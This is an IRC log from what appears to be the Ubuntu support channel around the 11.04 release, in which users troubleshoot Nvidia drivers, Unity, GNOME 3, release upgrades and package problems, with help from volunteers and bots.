[10:55] <Neo_Kipl1ng> Incarus6: looks like i must do this: edit /etc/update-manager/release-upgrades and set Prompt=normal  thanks anyway
[10:56] <Incarus6> Mrokii, type it in the application search form, it will be shown up as "hardware drivers" or something
[10:56] <nubcake> any ideas why i cant install vmware server (stuck at: What is the location of the directory of C header files that match your running
[10:56] <nubcake> kernel? [/usr/src/linux/include]) i keep getting told: The path "/usr/src/linux-headers-2.6.35-28-server" is an existing directory,
[10:56] <nubcake> but it does not contain a "linux" subdirectory as expected.
[10:56] <cousin_mario> I had to install the nvidia binary driver from a PPA (v 270) because nvidia-current was lamenting a missing dependency. The new driver sucks though. Is there a way to install the stock one?
[10:56] <Mrokii> Incarus6: ah, okay, but that is what I had already opened (looking for "driver"). The problem is: There is no activate button anywhere.
[10:56] <Incarus6> Neo_K1pl1ing, you can simply run "do-release-upgrade -mode=Normal"
[10:56] <Vustom> nvm
[10:56] <Vustom> got it.
[10:56] <Vustom> gksu nautilus /usr/share/applications
[10:57] <Vustom> :D
[10:57] <FloodBot1> Vustom: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[10:57] <muneeb> hi, i'm having problem with flashplugin-installer on Natty 64bit
[10:57] <Shaggy2> I have a logitech g15 Keyboard. I want to use the LCD display in ubuntu does anyone know how I can go about this, or where I can find help on this matter
[10:57] <nubcake> anyone?
[10:57] <Incarus6> Mrokii, but the driver is listed in the list in that application?
[10:58] <dibs> Incarus6: it's more than I can fit in my bash window. How can I save it to a file for pasting
[10:58] <Mrokii> Incarus6: yes, and at the bottom of the window is this: "This driver is activated but not currently in use." Does that mean I need to do a restart to activate it?
[10:58] <Incarus6> kaban, or a perstistent usb stick, im not sure if fglrx is used as default graphic card driver in the live cd
[10:58] <muneeb> anyone?? http://paste.ubuntu.com/601250/
[10:58] <Neo_Kipl1ng> Incarus6: its very good, thank you
[10:58] <cousin_mario> has anyone encountered problems with nvidia-current requiring xorg-video-abi-9 ?
[10:59] <PresuntoRJ> Jordan_U: I think I have figured this out, my /usr is on a different partition and I have to mount it before I chroot ;)
[10:59] <Incarus6> dibs, i think you can save it in a file by adding " > FILE.XYZ" at the end of the command
[10:59] <slide> I'm having problems with XChat and Unities app bar. It keeps opening up new copies instead of bringing the current running instance of xchat up to the front
[10:59] <muneeb> i'm not able to use unity... when i start it i get desktop without any sidebar or topbar
[11:00] <Acriax> I don''t get why themes don't apply for me. I can select themes in the appearance preferences, and only that window changes. The application bar and all other windows have a plain grey skin. This is in ubuntu classic
[11:00] <dFshadow> woot VMWare installing now
[11:01] <Incarus6> muneeb, that could help: http://ubuntuforums.org/showthread.php?t=1721273
[11:01] <muneeb> Incarus6, thanks i'll look into it
[11:01] <pdfman> merhabalar,turkcr bian var mi?
[11:02] <pdfman> کسی فارسی بلده؟
[11:02] <blurgh> Has anyone managed to get global menu working in Eclipse? Or is it depending on developers to fix it?
[11:02] <Incarus6> !ar | pdfman
[11:02] <ubottu> pdfman: La comunidad local de Argentina se puede encontrar en #ubuntu-ar y en su canal de offtopic: #ubuntu-ar-cafe
[11:02] <Incarus6> hu?
[11:03] <Incarus6> !ara | pdfman
[11:03] <cousin_mario> Anyone using nvidia binary driver on natty?
[11:03] <Incarus6> cousin_mario, yes, me
[11:03] <Vustom> Where do I go to select Deluge when I choose to Open with.. when downloading a .torrent file in Firefox?
[11:04] <PresuntoRJ> Jordan_U: I have managed to chroot now, and completed the steps... no error messages, for all my HDDs... lets see if it boot now !
[11:04] <pdfman> یشه منو راهنمایی کنین لطفا
[11:04] <cousin_mario> Incarus6: is it shown in the hardware drivers tool?
[11:04] <Incarus6> !arz | pdfman
[11:04] <Incarus6> cousin_mario, yes
[11:04] <preyas__> hey sir i want gnome shell in ubuntu
[11:04] <cousin_mario> Incarus6: did you upgrade from maverick or was yours a fresh install?
[11:04] <preyas__> how can i get it
[11:05] <pdfman> شما فارسی ندارین؟
[11:05] <Incarus6> cousin_mario, I did an upgrade
[11:05] <cousin_mario> Incarus6: I see...
[11:05] <Incarus6> cosuin_mario, isn't it working for you?
[11:05] <preyas__> any1??
[11:05] <preyas__> help
[11:05] <preyas__> needed
[11:05] <cousin_mario> Incarus6: no, I had to install it by hand but then compiz effects aren't available
[11:06] <Mrokii> Incarus6: I have found something on the net. Will try a restart.
[11:06] <Soothsayer> why does Nautilus kinda get hung when I'm safely removing a pen drive!
[11:06] <preyas__> any1 help
[11:06] <lugkhast> preyas__: IIRC it's available from a PPA
[11:06] <someone235> is there a way to integrate thunderbird's calendar with unity's calendar?
[11:06] <Incarus6> pdfman, ما نمی توانیم به فارسی.
[11:06] <preyas__> but if we will install it we cant use unity again i think
[11:06] <cousin_mario> Incarus6: thanks
[11:07] <preyas__> i want both
[11:07] <Incarus6> cousin_mario, you're welcome
[11:07] <preyas__> and also the size of gnome pack is 336 mb
[11:07] <dibs> Incarus6: http://paste.ubuntu.com/601253/ thanks for looking into this eh
[11:07] <preyas__> any other ubuntu help channel
[11:07] <preyas__> sad
[11:08] <cousin_mario> Incarus6: is it i386 or amd64 you're using?
[11:08] <chilli0> Hello, I just upgraded to 11.04 and it's well I guess okay. I however don't like the whole banshee thing. How can I change rhymbox to be the default player again?
[11:08] <pdfman> زشد شدغخدث سعححخقف هد بشقسه حمثشسث؟
[11:08] <PresuntoRJ> Jordan_U: I have got the grub menu now showing as text (good), but as soon as I select the kernel I want, it goes black instead of plymouth... even if I wait long enough for the login to show (and the HDDs stop, probably after a long fsck), nothing ! :-(
[11:08] <pdfman> can anyone support in farsi please?
[11:08] <kaushal> Hi
[11:08] <Incarus6> dibs, try "sudo aptitude download network-manager" and install it with "sudo dpkg -i network-manager*.deb"
[11:08] <kaushal> Can someone please guide me about Networking Issues ?
[11:09] <dFshadow> oh damn i was trying to dual boot but VMWare is like fucking autopilot...easy as cake...
[11:09] <PresuntoRJ> Jordan_U: I have even tried to blindly press enter and type my password, and enter... just in case... still nothing
[11:09] <Jordan_U> !farsi | pdfman
[11:09] <ubottu> pdfman: #ubuntu-ir baraye Farsi zabanan mibashad ke channele rasmie goroohe Iran-ie ubuntu ast. #ubuntu-ir  برای فارسی زبانان می‌باشد که کانال رسمی گروه ایرانی اوبونتو است.
[11:09] <PresuntoRJ> Jordan_U: even if I Ctrl+Alt+F2 to get to a console... nothing
[11:09] <Jordan_U> PresuntoRJ: Try recovery mode.
[11:09] <pdfman> ok m30
[11:10] <Incarus6> Thank you, Jordan_U. dibs, and do you really need awant-window-navigator? its causing problems, pls remove that too
[11:10] <lugkhast> preyas__: You may have more luck with it in 11.10
[11:10] <PresuntoRJ> Jordan_U: in the grub menu ?
[11:10] <Jordan_U> PresuntoRJ: Yes.
[11:11] <Mrokii> Incarus6: Still no success. Do you have any ideas on how I can use the nvidia-drivers?
[11:11] <preyas__> lugkhast, means??
[11:11] <Incarus6> Mrokii, paste "glxinfo"
[11:12] <terseint> Trying to apt-get phppgadmin and want to run it on adiffernt webserver, but when I try to "apt-get install phppgadmin" it tells that it willeven download apache. I don't wat to download pache
[11:12] <jigynet> firefoxjava keeps crashing in my xubuntu/wubi install??
[11:12] <preyas__> lugkhast, ifound it in repo by adding PPA and selected gnome shell
[11:12] <html_inprogress> hi yall
[11:12] <preyas__> lugkhast, will it do my job
[11:13] <Incarus6> jigynet, are you using 10.10?
[11:13] <vampire> hallo
[11:13] <jigynet> i believe so
[11:13] <vampire> hello
[11:13] <Incarus6> jigynet, that was fixed in 11.04, it happend to me in 10.10 too
[11:13] <PresuntoRJ> Jordan_U: it show a quiq text, then black, then old school echos of whatever is on the boot... fixed the discs accordingly... lets see now
[11:13] <jigynet> =/
[11:13] <jigynet> ok i'll update
[11:13] <dibs> Incarus6: I have installed and uninstalled as you mentioned. What should I do next?
[11:13] <Mrokii> Incarus6: one moment, trying something. Maybe I need to do another restart. If so, I will paste the output from glxinfo afterwards.
[11:13] <chilli0> Hello, I just upgraded to 11.04 and it's well I guess okay. I however don't like the whole banshee thing. How can I change rhymbox to be the default player again?
[11:14] <Incarus6> jigynet, its related with the new hardware acceleration feature of adobes flashplugin
[11:14] <jigynet> any issues with updateing wubi 10.10 to 11?
[11:14] <preyas__> chilli, yes
[11:14] <vampire> how can i make my irc on my ip
[11:14] <jigynet> vampire..what?
[11:14] <PresuntoRJ> Jordan_U: on the next boot, still no plymouth... takes for ever, but eventually it got me to the login screen !!! :-D finally
[11:15] <milen8204> What I need to do to mount one partition to my /home folder ?
[11:15] <jigynet> !wubi 11.04
[11:15] <jibadeeha> chilli0, remove Banshee
[11:15] <PresuntoRJ> Jordan_U: a million error on kern.log (apport indicates on login)... :-p lets see now
[11:15] <Incarus6> dibs, I need another paste. pleas apt.log again with "cat apt.log | grep Breaks"
[11:15] <vampire> How do I put my irc on my ip instead of localhost
[11:15] <jigynet> !bug list
[11:15] <jigynet> lol
[11:16] <Jordan_U> PresuntoRJ: It sounds like you have hardware that needs to be blacklisted from the new early mode setting feature. *please* file a bug report as this should be easy to fix so that future users with the same hardware don't run into the same problem.
[11:16] <jigynet> whoops
[11:16] <jigynet> sorry about that
[11:16] <jigynet> local host is your ip..
[11:16] <Jordan_U> PresuntoRJ: And please subscribe me, jordanu, to the launchpad bug report.
[11:17] <PresuntoRJ> Jordan_U: the system seems kind of broken yet... I am on Ubuntu-classic, and no window decoration, title bar, nothing... just an edge, menu and terminal or just nautilus...
[11:17] <lehel_> how can i costumize the top bar in 11.04? thanks
[11:17] <jigynet> if you change the local host ip it would mess up some things
[11:17] <Incarus6> dibs, and type "sudo apt-get remove awn-settings-trunk python-awn-trunk avant-window-navigator-trunk awn-applets-c-core-trunk awn-applets-python-core-trunk awn-applets-c-extras-trunk  avant-window-navigator-data-trunk  awn-applets-python-extras-trunk
[11:17] <vampire> no when I want to connect to my ip it don't want
[11:17] <PresuntoRJ> Jordan_U: what package ?
[11:17] <Psychobudgie> lehel_, you can't
[11:17] <preyas__> chilli0,
[11:17] <chilli0> jibadeeha, Yeah I did. However when I use like my buttons on my keyboards it gives me an error saying no such command banshee. When the keyboard command is set to default music player.
[11:17] <Jordan_U> PresuntoRJ: Goodnight.
[11:17] <Jordan_U> PresuntoRJ: grub-pc
[11:17] <preyas__> chilli0,
[11:17] <PresuntoRJ> Jordan_U: to file the bug under...
[11:17] <PresuntoRJ> Jordan_U: ok, I will try
[11:17] <preyas__> chilli0, go to preffered applications
[11:18] <jigynet> vampire, you can't connect to your pc through the same device already used..
[11:18] <preyas__> and then select rhytmbox
[11:18] <Halt> Eh, im using xchat, and i cant seem to get it to auto join channels.
[11:18] <Halt> it just doesn't join them
[11:18] <jibadeeha> preyas__, but isn't that just for multimedia?
[11:18] <lehel_> thanx
[11:18] <chilli0> preyas__, Thank you very much :)
[11:18] <PresuntoRJ> Jordan_U: FYI, I have an nvidia card, runing the nvidia non-free xorg drivers ;)
[11:18] <jigynet> vampire have you tried connecting via another pc on the same network same os?
[11:18] <preyas__> jibadeeha, wat
[11:18] <zniavre> lehel_,  you can only modify the shadow-panel the rest is hardcoded
[11:19] <vampire> no
[11:19] <Psychobudgie> Halt, make sure there are no spaces between the channels i.e. should be #ubuntu,#ubuntu-uk
[11:19] <dibs> Incarus6: http://paste.ubuntu.com/601255/  have uninstalled all those packages
[11:19] <kaushal> Is there a way to set alert for packet losses ?
[11:19] <preyas__> jibadeeha, what is not for multimedia??
[11:19] <Neo_Kipl1ng> update to 11.40: Need to get 2,199MB of archives. Oh, god! it's too much
[11:19] <preyas__> jibadeeha, i din't understood
[11:20] <jigynet> another way to connect to the pc you are currently useing, is to use another wifi adapter to connect to an ethernet device on the same network or another wifi device that is free, on that pc
[11:20] <jibadeeha> preyas__, if i were to set the multimedia player to rhythmbox what would happen if i selected a video
[11:20] <jigynet> but what exactly are you trying to do, remote connect?
[11:20] <Halt> Psycho, there isn't.
[11:20] <Halt> which is why its weird.
[11:20] <Nece228> hello!
[11:21] <Incarus6> dibs, pls paste "apt-cache policy network-manager"
[11:21] <lucas> i need big help
[11:21] <batman> hi
[11:21] <kaushal> is there a Networking channel under ubuntu ?
[11:21] <Nece228> hello!
[11:21] <Nece228> will unity work on live cd with my nvidia 9500gt?
[11:21] <jigynet> why kaushal?
[11:21] <lucas> basically i ahve ubntu 11.04. i installed gnome 3 and now it wont boot under gnome 3.
[11:21] <Incarus6> Nece228, it is supposed to work, yes
[11:21] <preyas__> kaushal, u from india
[11:21] <lucas> it gets stuck at the screen with the white writing
[11:22] <kaushal> preyas__: yes
[11:22] <preyas__> kaushal, me too
[11:22] <lucas> can i possibly change back to unity during bottup?
[11:22] <Incarus6> lucas, but the login screen is shwoing up?
[11:22] <Nece228> Incarus6: with nouveau? cool
[11:22] <Rehan> Is it possible to use open source nouveau drivers for plymouth and grub2 but use nvidia drivers once i login?
[11:22] <jigynet> what dos the white writeing say?
[11:22] <kaushal> jigynet: where can i seek help for Networking issue ?
[11:22] <lucas> no it doesnt get that fat
[11:22] <Nece228> Incarus6: because i need to try unity before ill install it
[11:22] <lucas> far*
[11:22] <preyas__> kaushal, what your problem
[11:22] <Incarus6> Nece228, should work with the proprietary driver too
[11:22] <preyas__> kaushal, i mean prob in ubuntu
[11:22] <kaushal> preyas__: its a networking issue
[11:23] <preyas__> kaushal, say
[11:23] <preyas__> join me privatly
[11:23] <dibs> Incarus6: http://paste.ubuntu.com/601259/ cheers
[11:23] <jigynet> kaushal please ask your questions here..or specific channels for specific os's like xubuntu etc have their own channels, but this one covers all issues with ubuntu regardless
[11:23] <lucas> can i change the desktop environment during boot up?
[11:23] <Incarus6> lucas, it doesn't seem to be an unity issue, more a gdm issue. try to reinstall gdm (/or try kdm instead). is the boot logo plymouth shown up?
[11:23] <jigynet> particularly support issues
[11:23] <Incarus6> lucas, no
[11:24] <vampire> it don't work
[11:24] <Mrokii> Incarus6: This is the output from glxinfo: http://pastebin.com/Hs8x8WB8
[11:24] <zak_> how to transfer files (250 GB) from my pc and my new laptop?
[11:24] <jigynet> So, please fel free to include more details on your networking issues
[11:24] <lucas> it gets to the step after the splash screen but doesnt get tyo the boot screen
[11:24] <zak_> how to transfer files (250 GB) from my pc to my new laptop?
[11:24] <Rehan> Is it possible to use open source nouveau drivers for plymouth and grub2 but use nvidia drivers once i login?
[11:24] <rly> zak_: not by getting kicked from the channel, I suppose.
[11:24] <lucas> the last line reads "stopping systen V runlevel compatibility"
[11:24] <Incarus6> dibs, it could be that awn prevented the system from upgrading, try it again.
[11:24] <cousin_mario> zak_: smb is your friend
[11:25] <o_> zak: use dd command
[11:25] <lucas> and it boots up no further
[11:25] <jigynet> vampire, what exactly are you trying to do?
[11:26] <lucas> Aid please?
[11:26] <batguest> hi
[11:26] <Akashaa> hi! I'm installing Ubuntu 10.10 LTS on a new MSI cx623. it has freedos installed only. at the installation my hard drive is not recognised. I've tried the "pci=nomsi" option that I've found on the net, but it did not work. Could someone help me, please?
[11:26] <batguest> i'm using unity and i'm curious if i can remove the workspace switcher
[11:26] <batguest> either by deleting a file, un-installing *something*, gconf or...?
[11:26] <Incarus6> lucas, https://bugs.launchpad.net/ubuntu/+source/lsb/+bug/752393 could be related
[11:26] <ubottu> Ubuntu bug 752393 in lsb (Ubuntu Natty) "lsb init scripts show line buffering problems on bootup" [Medium,Fix released]
[11:27] <batguest> i've disabled the expo plugin in ccsm but the icon remains in the launcher
[11:27] <zak_> how to transfer files (250 GB) from my pc to my new laptop?
[11:27] <dibs> Incarus6: Awesome, thanks, your a credit to this OS
[11:27] <jigynet> aka are u sure it has a hd??freedos can be run from cmos??
[11:27] <linux> Oh, no.
[11:27] <jigynet> or a flash drive..
[11:27] <lucas> incarus6, sadly this doesnt help. im not that tech savvy with ubuntu yet
[11:27] <linux> What is flash drive.
[11:28] <Soothsayer> how do you install flash player for Firefox?
[11:28] <Incarus6> dibs, try if it works. one of these packages is causing the issue
[11:28] <jigynet> lol
[11:28] <vampire> how do I put also a game on localhost
[11:28] <Incarus6> lucas, are you still using the alpha or beta release?
[11:28] <Incarus6> !flash | Soothsayer
[11:28] <ubottu> Soothsayer: To install Flash see https://help.ubuntu.com/community/RestrictedFormats/Flash - See also  !Restricted and !Gnash
[11:28] <lucas> im using the final release. i was asked if id like to upgrade on login
[11:28] <jigynet> a flash drive is often a usb device that uses ddr solid state technology to store data
[11:29] <Incarus6> lucas, strange. sry, I dont know how to fix that
[11:29] <jigynet> a game is not seeing your local host i[p?
[11:29] <lucas> is there no way to get to login screen with a debug option or something?
[11:29] <lucas> i just need to log in or get to that screen
[11:30] <Curly_Q> Vampire if you are running a daemon on your Linux box your localhost is 127.0.0.1 connect to that IP address.
[11:30] <jigynet> lucas have you tried to restore it with recovery mode?
[11:30] <varunvyas> Hi all thanks, I am now on 11.04
[11:30] <jigynet> vampire do u have a fw?
[11:30] <kezzawd> Hi all - I'm on Natty and some appindicators are installed but I can't find how to load them - indicator-cpufreq for instance - any ideas ??
[11:30] <lucas> explain how i do that please
[11:30] <varunvyas> I wanted to know where is adminstration and system tab movd ?
[11:30] <andeeeuk> is there anyway to reinstall ubuntu 11.04 after you have installed gnome3?
[11:30] <Incarus6> dibs, still here? pls paste "apt-cache policy libreoffice-core"
[11:31] <kezzawd> u could try sudo apt-get purge gnome 3 && sudo apt-get install ubuntu-desktop ?
[11:31] <truckface> i am on ubuntu 10.10 and would now like to run the upgrade to 11.04... i have a hp g62 with ATI gfx-card... are there any reported error which makes an upgrade troublesome to do ?
[11:32] <lucas> no worries. it just worked...
[11:32] <varunvyas> ?
[11:32] <jigynet> well, if you dont know how, then there is alot there you wont know.. are you familiar with sudo apt-get dpkg-reconfigure unity?
[11:32] <jigynet> ye that
[11:32] <lucas> what the hell?!
[11:32] <jigynet> what kezz said
[11:32] <andeeeuk> kezzawd thanks i will give it a go
[11:33] <Incarus6> andeeeuk, I allready told u: remove gnome(3) completly and remove the gnome3 ppa and install gnome again
[11:33] <Akashaa> I've change AHCI mode of SATA hard drive to IDE for installation, but this changed the CD driver too. Thus my CD is not recignised. What can I do?
[11:33] <Mrokii> Incarus6: If I look at that glxinfo-output it looks to me as if the nvidia-drivers are installed. What do you think?
[11:33] <jigynet> lucas kez
[11:33] <PresuntoRJ> Jordan_U: I am sorry... every time I try to ubuntu-bug grub-pc it gives me an Error13: no route to host ! but I have internet access, and I am actually at launchpad right now
[11:33] <PresuntoRJ> Jordan_U: new bug?
[11:33] <jigynet> s command lines would be similar to your issue as well
[11:33] <Incarus6> Mrokii, whats the exact problem you got atm? Unity isn't working, right?
[11:33] <andeeeuk> Incarus6 thanks
[11:33] <d3vlin> howdy.. I tried some things with compiz-configuration, but after restart when I boot into Unity all I get is background and pointer. How to restore menu's?
[11:34] <dibs> Incarus6: I'm in the middle of a upgrade which is caluclating changes, can I still do what you mentioned safely?
[11:34] <andeeeuk> there is no specfic gnome app
[11:34] <jigynet> aka change it back..
[11:34] <Incarus6> dibs, this command is just looking up version numbers, so yes
[11:34] <kezzawd> anyone any idea how to enable indicator-cpufreq appindicator in Natty ?
[11:34] <jigynet> hmm
[11:34] <jigynet> i need to update brb
[11:35] <jigynet> hey
[11:35] <PresuntoRJ> kezzawd: install the ppa, install the package, run indicator-cpufreq from the shell
[11:35] <jigynet> how rude hxing
[11:35] <PresuntoRJ> kezzawd: it worked for me
[11:35] <dibs> Incarus6: http://paste.ubuntu.com/601263/
[11:35] <varunvyas> Need help . on 11/04, where's system administration ab
[11:35] <varunvyas> tab*
[11:35] <Mrokii> Incarus6: Nope, it seems that Unity is working. At least I got that dock-like thing on the left and I can search for items. My sole problem is that the hardware-drivers-app tells me that the nvidia-drivers aren't used. Though I am able to start a game that uses a 3D-environment, if that is anything to judge from. Basically all I want is to make sure that the nvidia-drivers are installed.
[11:35] <andeeeuk> Incarus6 im actually logged into a gnome3 session
[11:36] <truckface> i am on ubuntu 10.10 and would now like to run the upgrade to 11.04... i have a hp g62 with ATI gfx-card... are there any reported error which makes an upgrade troublesome to do ?
[11:36] <kezzawd> PresuntoRJ - yeah - that's what I thought but not working for me ?
[11:36] <kezzawd> Just stalling in the shell
[11:36] <andeeeuk> and if you say apt get remover gnome3 it says the package does not exist
[11:36] <jigynet> !samsung
[11:36] <Incarus6> Mrokii, could be a wrong error, are all 3D things like games still working?
[11:37] <Incarus6> andeeeuk, I would install another smaller desktop (like xubuntu-desktop), log into that and remove gnome
[11:37] <root> hi
[11:37] <andeeeuk> Incarus6 ok I will give that a go also, thanks
[11:38] <dibs> Incarus6: It still fails the same :(
[11:38] <kezzawd> hang on - lookls like a bug - appindicator is there but icon is not - it's squeezed between two other indicators without the icon
[11:38] <andeeeuk> think it has messed a lot up though :s
[11:38] <Guest51227> pls help with wifi on BT 4
[11:38] <PresuntoRJ> kezzawd: what version do you have installed? mine is 0.1.2 from ppa:artfwo/ppa
[11:38] <dregin1> lads
[11:38] <atlef> !root | Guest51227
[11:38] <ubottu> Guest51227: Do not try to guess the root password, that is impossible. Instead, realise the truth... there is no root password. Then you will see that it is 'sudo' that grants you access and not the root password. Look at https://help.ubuntu.com/community/RootSudo
[11:38] <dregin1> wtf
[11:38] <dregin1> this unity business
[11:38] <dregin1> it is a fucking ABORTION
[11:38] <Mrokii> Incarus6: I only have this one game (Planeshift) which was only usable on 10.10 with nvidia-drivers installed. And yes, as far as I can tell, all works. I was just confused about the message shown by the hardware-driver-app, telling me that the drivers aren't used. But from the impression I got (the game works flawless) it seems they *are* installed. Just confusing.
[11:38] <FloodBot1> dregin1: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[11:38] <zepherin> updating ubuntu yay, I wonder what this update breaks
[11:38] <atlef> !backtrack | Guest51227
[11:38] <ubottu> Guest51227: There are some Ubuntu derivatives that we cannot provide support for due to repository and software changes. Please consult their websites for more information. Examples: gNewSense (support in #gnewsense), Linux Mint (see !mint), LinuxMCE (support in #linuxmce), CrunchBang (support in #crunchbang), BackTrack (support in #backtrack-linux), Ultimate Edition
[11:38] <PresuntoRJ> kezzawd: and I believe you have to be in Unity GUI, not gnome (Ubuntu-Classic)
[11:38] <linux>  Guest51227: There are some Ubuntu derivatives that we cannot provide support for due to repository and software changes. Please consult their websites for more information. Examples: gNewSense (support in #gnewsense), Linux Mint (see !mint), LinuxMCE (support in #linuxmce), CrunchBang (support in #crunchbang), BackTrack (support in #backtrack-linux), Ultimate Edition
[11:38] <Incarus6> dibs, I need the new "apt.log (grep Broken)"
[11:39] <Guest51227> what?
[11:39] <Hedgehog456> I like Unity
[11:39] <kezzawd> PresuntoRJ - what's simplest way for me to see what version ?
[11:39] <jdobrien> Running 11.04 on a system with Nvidia 9600 GT, have "Nvidia accelerated graphics driver"  activated but it not in use, does that mean I am not using Unity 3D?
[11:40] <CQ> I get this warning when running sensors-detect from lm-sensors: Warning: the required module sbs is not currently installed .... I can't find sbs anywhere, and googling isn't much help... any ideas?
[11:40] <Guest51227> ňňňúquit
[11:40] <PresuntoRJ> Hedgehog456: one in a million ;)
[11:40] <dibs> Incarus6: http://paste.ubuntu.com/601266/
[11:40] <Hedgehog456> It's an acquired taste :P
[11:40] <PresuntoRJ> kezzawd: apt-cache policy <packagename>
[11:40] <Mrokii> jdobrien: I have exactly the same problem, though everything looks as if they *are* in use, despite the message.
[11:40] <Hedgehog456> I dislike the way it's changed GTK+ though
[11:41] <dregin1> any ideas how I get to the system settings when using unity???
[11:41] <kezzawd> jdobrien - if compiz is working (have you installed ccsm ?) then you are on 3D - I have similar setup and nvidia driver not in use for me also
[11:41] <fezzik02> My Natty won't detect the correct resolution for my monitor
[11:41] <dregin1> this is absolutely horrible
[11:41] <lapion> How 1337 can a public broadcaster be..
[11:41] <PresuntoRJ> dregin1: click on the Off button , the last option should be for System settings
[11:41] <jdobrien> kezzawd, I have installed it. but I know it's not using the card since the fan isn't running... although the silence is kind of nice :)
[11:41] <fezzik02> When I ran xrandr I got Cannot set crtc 0
[11:41] <dregin> I don't have an off button :p
[11:41] <lapion> in the netherlands today the one o'clock news is exactly at 13:37
[11:41] <Mrokii> kezzawd: Add me to the users with that problem :)
[11:42] <Hedgehog456> dregin: Use the Dash
[11:42] <dregin> It disappeared with the upgrade to 10.10
[11:42] <dregin> what dash?
[11:42] <Hedgehog456> the Ubuntu button on the top left
[11:42] <dregin> ah
[11:42] <Hedgehog456> click it
[11:42] <PresuntoRJ> dregin: in the right top side of the panel... looks like an O with an I inside it
[11:42] <dregin> found it
[11:42] <kezzawd> dregin1 - Use 'Super' and 'A' to bring up the Applications panel and then use the small drop down in the top right to get to System
[11:42] <dregin> hah
[11:42] <PresuntoRJ> dregin: right by your login name
[11:42] <Hedgehog456> then type in what setting you want
[11:42] <dregin> as I hover over the options in the control centre, their icons disappear.
[11:42] <Hedgehog456> you can disable unity and go back to classic ;)
[11:42] <dregin> upgrades of ubuntu NEVER work
[11:43] <Mrokii> jdobrien: That doesn't really make sense. I guess the nvidia-drivers should be less graphics-card-intensive than the open-source drivers. At least that was the impressiion I had when I tried them. So I guess the fan should be running *less*, not *more* with the nvidia-drivers installed and used.
[11:43] <Incarus6> dibs, the mirror seems to be uncomplete, try an official mirror and it should work
[11:43]  * dregin goes off to do a fresh install
[11:43] <dregin> much thanks!
[11:43] <kezzawd> PresuntoJR - I'm using same version as you
[11:43] <Incarus6> dibs, the mirror doesn't deliver packages like libreoffice-style and thats the reason why the upgrade fails
[11:43] <mah454> I need repository for simple-ccsm for ubuntu-11.04
[11:44] <PresuntoRJ> kezzawd: the worst thing I have against unity right now, GUI is for MOUSE, I could use keyboard as an alternative (and I do) not as the ONLY input
[11:44] <jdobrien> I'll crank up quake-live or something. That should get em going
[11:44] <PresuntoRJ> kezzawd: 7 clicks to accomplish anything has got to be a design flaw
[11:44] <aliceminer> is there a way to revert ubuntu 11.04 gui back to ubuntu 10.10
[11:44] <dibs> Incarus6: ah, should it not ignore it as a 3rd party app?
[11:44] <jdobrien> Mrokii, I'll crank up quake-live or something. That should get em going
[11:44] <Incarus6> !ccsm | mah454
[11:44] <ubottu> mah454: To enable advanced customization of desktop effects in Ubuntu: install 'compizconfig-settings-manager' or 'simple-ccsm'. If you install the latter, a new option will appear in your appearance properties - See also !compiz - Help in #compiz
[11:44] <aliceminer> I mean I don't quite like the new gui
[11:44] <aliceminer> gnome 3.0 :<
[11:44] <kire> when using the window picker from compiz scale, I can't close windows with middle mouse button anymore since natty, is there any way to enable this again?
[11:45] <PresuntoRJ> aliceminer: you can choos the ubuntu-classic in an option where you login
[11:45] <PresuntoRJ> aliceminer: then you get a clear gnome, like ubuntu used to be
[11:45] <aliceminer> really?
[11:45] <kezzawd> PresuntoRJ Yeah - but I'm kinda getting more used to using the 'Super' key and combinations - which feels better and is relatively rodent neutral
[11:45] <aliceminer> nice
[11:45] <PresuntoRJ> aliceminer: gnome-2
[11:45] <mah454> I use standard repository for install this . but receive dependency ... !
[11:45] <aliceminer> cool
[11:45] <aliceminer> cool
[11:46] <mah454> ubottu I use standard repository for install this . but receive dependency ... !
[11:46] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[11:46] <aurelien_> what is this shit
[11:46] <PresuntoRJ> kezzawd: ok, me too... but cannot be the ONLY way to accomplish things...
[11:46] <aurelien_> i install the new ubuntu
[11:46] <aurelien_> all my shortcut are gone
[11:46] <aurelien_> for parameters
[11:46] <aurelien_> it sucks
[11:46] <Hedgehog456> Hm
[11:46] <FloodBot1> aurelien_: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[11:46] <Hedgehog456> On the main menu?
[11:46] <PresuntoRJ> kezzawd: there is no link/icon/button to show the desktop... only Super+D
[11:46] <Hedgehog456> aurelien_: On the main menu?
[11:46] <aliceminer> so all I have to do is to choose gnome-2 in the login
[11:46] <aliceminer> lol
[11:46] <PresuntoRJ> kezzawd: anoungst other things
[11:46] <Incarus6> dibs, there are several other problems packages that causes problems
[11:46] <aurelien_> config menus are gone
[11:47] <Hedgehog456> System etc?
[11:47] <aurelien_> yes
[11:47] <PresuntoRJ> kezzawd: the problem is the ONLY portion
[11:47] <aurelien_> parameters
[11:47] <Hedgehog456> aurelien_: Okay
[11:47] <Hedgehog456> Click the power button and then 'System Settings'
[11:47] <aurelien_> oh ok
[11:47] <aurelien_> thank you
[11:47] <Hedgehog456> All your preferences and admin stuff will be in there
[11:47] <Hedgehog456> :D
[11:47] <PresuntoRJ> kezzawd: my mom will never (she asked me not to) upgrade her ubuntu if she HAS to use Unity, cause she HATES the keyboard to get things done
[11:47] <Hedgehog456> And you can look for apps in the Dash
[11:49] <Incarus6> lol: "CTCP VERSION-Anfrage von hxing_!~hxing@119.4.252.88 erhalten"
[11:49] <kezzawd> PresuntoRJ lol - I'm pretty comfortable with Unity myself, although I'd like to see what a more mature Gnome3 has to offer as an alternative. I guess we're going to be moving away from the 'classic' Gnome2 desktop overtime in any case
[11:49] <Mrokii> btw, I have another problem. It seems I can't find any apps when typing them in the search-box that pops up when one clicks on the Ubuntu-symbol.
[11:50] <Incarus6> PresuntoRJ, she could also use the classic gnome
[11:50] <folklore> hope ubuntu teams realizes forcing something as drastic as unit on users without the option to revert back wasn't the best of ideas
[11:50] <Mrokii> I mean, Ubuntu doesn't show them, like when I type "terminal" for example or "Firefox". It's only showing documents, as it seems.
[11:50] <folklore> Ubuntu isn't like other distros, it's taken very serious and is very popular
[11:50] <PresuntoRJ> Incarus6: there wont be a Ubuntu-classic for 11.10
[11:50] <PresuntoRJ> Incarus6: so, not really a solution
[11:50] <gib0t> is there any suggestion to make the icons of the unity startmenu smaller
[11:50] <_3dioot> can i ask for some help in here?
[11:50] <Incarus6> PresuntoRJ, kezzawd, I think a new derivative called gubuntu will be created
